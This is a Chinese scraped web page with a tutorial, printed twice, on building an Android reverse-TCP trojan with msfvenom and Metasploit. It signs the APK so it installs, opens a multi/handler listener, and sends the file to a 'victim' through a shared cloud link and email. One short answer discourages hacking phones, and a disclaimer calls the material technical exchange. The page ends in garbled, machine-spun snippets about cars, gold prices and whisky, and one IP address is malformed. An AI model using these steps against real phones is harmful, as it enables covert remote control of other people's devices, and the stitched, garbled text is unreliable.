kali生成安卓木马并控制手机（kali生成的木马手机打不开）
kali 怎么把安卓木马隐藏到普通安卓app里
先查看kali的ip，我的是1.114
然后输入命令：msfvenom -p android/meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R /root/apk.apk
5555是设置的端口，可以自己更改 显示这个说明已经生成成功了。
怎么样才能黑一个手机？
你没有办法“黑”别人的手机。即使你能制造病毒发送到别人手机上，也会被手机所带的杀毒程序拦截、清除。况且这是违法行为，会受到追究甚至惩处。
你可以拉黑对方，和对方不联系，但是不能想歪点子黑人家的手机。
黑客能入侵用户手机吗？用户进行什么操作他都了如指掌吗？
能的，不要随便去点陌生网站链接之类的，一般入侵控制手机都是通过木马后门实现，安卓的话可以直接用kali系统下的一个工具渗透直接获取权限，苹果要稍为好点。保护机制不同
kali配置的木马是内网的，但还能远程控制，这是怎么回事？
可以，运用各种模块进行配合操作，比如用Sunny-Ngrok进行端口映射，并生成payload，然后再用Metaspoit 实现对外网主机的远程控制。
如何使用Metasploit对安卓手机进行控制
文章内容可能具有一定攻击性，本文仅供技术交流，如有非法使用后果自负。
在这次的实验中，我会使用kali linux和安卓模拟器演示如何使用Metasploit框架控制Android设备。
创建负载
我们需要两台虚拟机：Kali Linux和安卓模拟器。
打开vm启动Kali linux。接着打开终端，使用msfvenom *** android利用程序。
Msfvenom是msfpayload和msfencode的组合。它是一个单一的工具。它有标准的命令行选项。 Msfvenom用来制造的有效载荷用来渗透Android模拟器。
一旦打开终端提示符下输入以下命令，使用msfvenom工具来创建有效载荷APK文件。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R /root/Desktop/pentest.apk
p 设置要使用的payload
LHOST 设置用来接收反弹连接的主机
LPORT 设置用来接收反弹连接的端口
R 设置文件格式
Location 要保存的文件位置
这个命令执行完之后，你会看到一些错误，但不用担心。现在可以到输出目录查看生成的apk了。
我们已经成功创建了Android格式（APK）文件的有效载荷。现在一般Android的移动设备不允许安装没有适当签名证书的应用程序。 Android设备只安装带有签署文件的APK。
我们可以使用如下工具进行手动签名：
l Keytool (已安装)
l jar signer (已安装)
l zipalign (需要安装)
执行下列命令签名。首先使用密钥工具创建密钥库。
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
然后使用JARsigner签名APK
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore APPNAME.apk aliasname`
再用JARsigner验证签名
jarsigner -verify -verbose -certs APPNAME.apk
Kali没有预装Zipalign，需要先apt-get install zipalign。然后用zipalign来验证apk。
zipalign -v 4 APPNAME.apk NEWAPPNAME.apk
现在我们有了一个带有签名的APK，它可以安装在任何设备上。
使用Metasploit进行测试
接下来启动metasploit的监听器。执行msfconsole打开控制台。
use exploit/multi/handler
Set PAYLOAD android/meterpreter/reverse_tcp
SET LHOST 192.168.152.128
SET LPORT 4444
Exploit
是时候将恶意的APK发送到手机上。我们这里使用一个网盘上传我们的APK，并将下载链接分享出去。
这是我们切换到安卓模拟器。
如何用kali linux控制手机
其实在下载链接的地方就有关于这两个版本的解释
其实在下载链接的地方就有关于这两个版本的解释
如何使用metasploit对安卓手机进行控制
在这次的实验中，我会使用kali linux和安卓模拟器演示如何使用Metasploit框架控制Android设备。
创建负载
我们需要两台虚拟机：Kali Linux和安卓模拟器。
打开vm启动Kali linux。接着打开终端，使用msfvenom *** android利用程序。
Msfvenom是msfpayload和msfencode的组合。它是一个单一的工具。它有标准的命令行选项。 Msfvenom用来制造的有效载荷用来渗透Android模拟器。
一旦打开终端提示符下输入以下命令，使用msfvenom工具来创建有效载荷APK文件。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R /root/Desktop/pentest.apk
p 设置要使用的payload
LHOST 设置用来接收反弹连接的主机
LPORT 设置用来接收反弹连接的端口
R 设置文件格式
Location 要保存的文件位置
这个命令执行完之后，你会看到一些错误，但不用担心。现在可以到输出目录查看生成的apk了。
我们已经成功创建了Android格式（APK）文件的有效载荷。现在一般Android的移动设备不允许安装没有适当签名证书的应用程序。 Android设备只安装带有签署文件的APK。
我们可以使用如下工具进行手动签名：
l Keytool (已安装)
l jar signer (已安装)
l zipalign (需要安装)
执行下列命令签名。首先使用密钥工具创建密钥库。
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
然后使用JARsigner签名APK
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore APPNAME.apk aliasname`
再用JARsigner验证签名
jarsigner -verify -verbose -certs APPNAME.apk
Kali没有预装Zipalign，需要先apt-get install zipalign。然后用zipalign来验证apk。
zipalign -v 4 APPNAME.apk NEWAPPNAME.apk
现在我们有了一个带有签名的APK，它可以安装在任何设备上。
使用Metasploit进行测试
接下来启动metasploit的监听器。执行msfconsole打开控制台。
use exploit/multi/handler
Set PAYLOAD android/meterpreter/reverse_tcp
SET LHOST 192.168.152.128
SET LPORT 4444
Exploit
是时候将恶意的APK发送到手机上。我们这里使用一个网盘上传我们的APK，并将下载链接分享出去。
1、从https://code.google.com/archive/p/android-x86/downloads下载android x86的iso。
2、使用vmware创建一个内核版本为2.6的虚拟机。
3、挂载镜像，启动虚拟机。
4、进入Live模式。
5、设置手机并登陆谷歌帐号。
在安卓模拟器里面点击那个链接并下载。我们已经发送了一封邮件到受害者的谷歌帐号上。
另外要允许安卓安装来历不明的apk。
切换回Kali，我们发现创建了一个新的会话。
然后你就可以为所欲为的操作这台“手机”了。
“kali生成安卓木马并控制手机（kali生成的木马手机打不开）” 的相关文章
成都奥迪q5带4区，奥迪a5报价
一 六款奥迪Q 五新车引导价： 三 五点 八 五- 五 七，业余化设计、否以看到许多 ，迈入了年夜 胆的一步。一个是轿跑，一个是S怎么比了，仇。 跑车A 五的一款新排质车型 二点0TFSI战下机能 活动 车型S 五邪式上市，能不克不及 告知 尔，Q 五 二0 一 六款 四0TFSI温馨型 四 七点...
今天黄金价格多少一克（金华金店黄金价格）
各金店本日 黄金价钱 查询：本日 黄金价钱 若干 钱一克 二0 一 六年0 七月 一0日0 九: 三 一: 四 一更新，第一个非农， 二 九 九点00周熟熟饰品金价，按国际金价收买，黄金生意业务 价钱 支柱正在一 二 五 九元阁下 ，本日 海内 尾copy饰金、克阁下 ；环融投资金条收受接管 价是 ...
川富威士忌2017多少钱（威士忌酒图片及价格）
楼主的那款酒 二 六0元阁下 威士忌酒：皇野礼炮 二 一年特级威士忌.通俗 战下品性的威士忌的价钱 相差太年夜 了。其时 比拟 贱.2、通俗 的混同美国，威士忌瓶底 二 八/0 八/ 九 三 一 四 一 一: 一 四找了很久 也出。 一瓶 一 五0年的Bowmore威士忌正在 九月 二 八号格推斯哥...
朴槿惠获释 粉丝挥应援棒喊我爱你
择要 ： 二0 二 一年 一 二月 三 一日(阴历 二0 二 一年 一 一月 二 八日)，朴槿惠获释粉丝挥应援棒喊尔爱您。 朴槿惠获释粉丝挥应援棒喊尔爱您。朴槿惠获释刹时 ：粉丝挥舞应援棒全喊“尔爱您”，年夜 妈泣如雨下 。 南京空儿 二0 二 一年 一 二月 三 一日，韩国前总统朴槿惠于本地 空...
今天的汽油单价 - 今日燃油价格最新行情
四点 五 九元调为 五点0 二元，分歧 批次价钱 会有差距，常常 堵车路况差的情形 高， 九 三#汽油 七点 七 一元/降、 二0: 二 九单元 ：群众币，情形 昨天整时起。 九 二号汽油，0 号柴油每一降上浮0点0 四元。更别说分歧 地域 了， 九 二号汽油，上浮0点 三 七止情元； 九 三号...
哪些人员可以报考面向服务基层项目人员定向招录的职位 哪些人员可以报考面向服务基层项目人员定向招录的职位
二0 二 一地津公事 员测验 通知布告 （ 二 二0 六人）未宣布 ！报名空儿： 二0 二 一年 三月 三日 八:00至 三月 九日，口试 空儿为 三月 二 七日、 二 八日。为便利 宽大 考熟相识 二0 二 一地津市考报考相闭答题，外私学育地津频叙特殊 整顿 了相闭内容，如下为 二0 二 ...
评论列表
发表评论
